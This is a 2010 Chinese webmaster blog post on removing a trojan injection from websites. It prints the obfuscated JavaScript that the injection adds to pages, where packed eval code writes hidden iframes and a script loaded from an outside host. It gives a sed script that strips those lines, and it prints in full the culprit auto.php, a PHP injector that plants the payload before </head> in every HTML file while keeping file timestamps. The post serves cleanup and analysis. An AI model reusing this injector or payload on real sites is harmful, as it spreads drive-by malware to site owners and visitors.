用shell命令刪除網(wǎng)站最新nb掛馬的方法與代碼

更新時間：2010年02月06日 11:31:05 作者：

教你刪除網(wǎng)站最新ＮＢ掛馬最近發(fā)現(xiàn) 很多網(wǎng)站被掛了木馬，會在頁面中生成如下代碼。

# <script language="javascript" type="text/javascript"> 
# if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString() 
# eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.l(\'<h f=b i=8://m.n.6.4/a/j.d></h><9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"></9><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3"></9>\')',62,24,'|100|YNE|ZGH|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));} 
# </script>

確實很讓人頭痛，還是編寫shell 腳本把這些腳本去掉

復制代碼代碼如下:

 
#!/bin/sh 
ls $1/*.htm | while read file 
do 
sed -i -e "/if(document.cookie.indexOf('helio'/d; /eval(function(p,a,c,k,e,d)/d;" $file 
done 

但是第二天還是有

最后偶然發(fā)現(xiàn) 網(wǎng)站中有個auto.php 文件比較可疑
查看下內(nèi)容，果然是木馬的根源
下面是其內(nèi)容，希望對大家有所幫助

復制代碼代碼如下:

<?php 
error_reporting(E_ERROR); 
set_time_limit(0); 
function CheckPath($path) 
{ 
return str_replace('//','/',str_replace('\\','/',$path)); 
} 
function AutoRead($filename) 
{ 
$handle = @fopen($filename,"rb"); 
$filecode = @fread($handle,@filesize($filename)); 
@fclose($handle); 
return $filecode; 
} 
function AutoWrite($filename, $filecode ,$filemode) 
{ 
$time = @filemtime($filename); 
$handle = @fopen($filename,$filemode); 
$key = @fwrite($handle,"\r\n".$filecode."\r\n"); 
if(!$key) 
{ 
@chmod($filename,0666); 
$key = @fwrite($handle,"\r\n".$filecode."\r\n"); 
} 
@fclose($handle); 
@touch($filename,$time); 
return $key ? true : false; 
} 
function make_pass($length) 
{ 
$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str = ""; 
while(strlen($str) < $length) 
{ 
$str .= substr($possible,(rand() % strlen($possible)),1); 
} 
return $str; 
} 
function AutoRun($dir) 
{ 
$spider = @opendir($dir); 
while($file = @readdir($spider)) 
{ 
if($file == '.' || $file == '..' || $file == 'a' || $file == 'images' || $file == 'uploads' || $file == 'special' || $file == 'data' || $file == 'include' || $file == 'member' || $file == 'templets' || $file == 'install') continue; 
$code = base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmlmKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCdoZWxpbycpPT0tMSl7dmFyIGV4cGlyZXM9bmV3IERhdGUoKTtleHBpcmVzLnNldFRpbWUoZXhwaXJlcy5nZXRUaW1lKCkrMSo2MCo2MCoxMDAwKTtkb2N1bWVudC5jb29raWU9J2hlbGlvPVllcztwYXRoPS87ZXhwaXJlcz0nK2V4cGlyZXMudG9HTVRTdHJpbmcoKQ0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKWRbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCc1LmwoXCc8aCBmPWIgaT04Oi8vbS5uLjYuNC9hL2ouZD48L2g+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2UuYz8yIj48Lzk+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2cuYz8zIj48Lzk+XCcpJyw2MiwyNCwnfDEwMHw='); 
$code .= make_pass(3); 
$code .= '|'; 
$code .= make_pass(3); 
$code .= base64_decode('fGNufGRvY3VtZW50fGdvdnxoZWlnaHR8aHR0cHxpZnJhbWV8aW1hZ2VzfGphdmFzY3JpcHR8anBnfGpzfGtpc3N8bGFuZ3VhZ2V8bWlzc3xzY3JpcHR8c3JjfHViYnx3aWR0aHx3cml0ZWxufHd3d3x4Y3JzcmMnLnNwbGl0KCd8JyksMCx7fSkpO30NCjwvc2NyaXB0Pg0KPC9oZWFkPg=='); 
die($code); 
$filename = CheckPath($dir.'/'.$file); 
if(is_dir($filename)) AutoRun($filename); 
if(eregi('\.htm|\.shtml',$file)) 
{ 
$checkcode = AutoRead($filename); 
if((!stristr($checkcode,'eval(function(')) && stristr($checkcode,'</head>')) 
{ 
$newcode = str_replace('</head>',$code,$checkcode); 
echo AutoWrite($filename, $newcode, "wb") ? "ok:".$filename."<br>\n" : "err:".$filename."<br>\n"; 
ob_flush(); 
flush(); 
} 
} 
$checkcode = NULL; 
$newcode = NULL; 
} 
@closedir($spider); 
return true; 
} 
if(isset($_GET['dir'])) 
{ 
AutoRun($_GET['dir']); 
} 
echo 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'].'?dir='.CheckPath(dirname(__FILE__)); 
?> 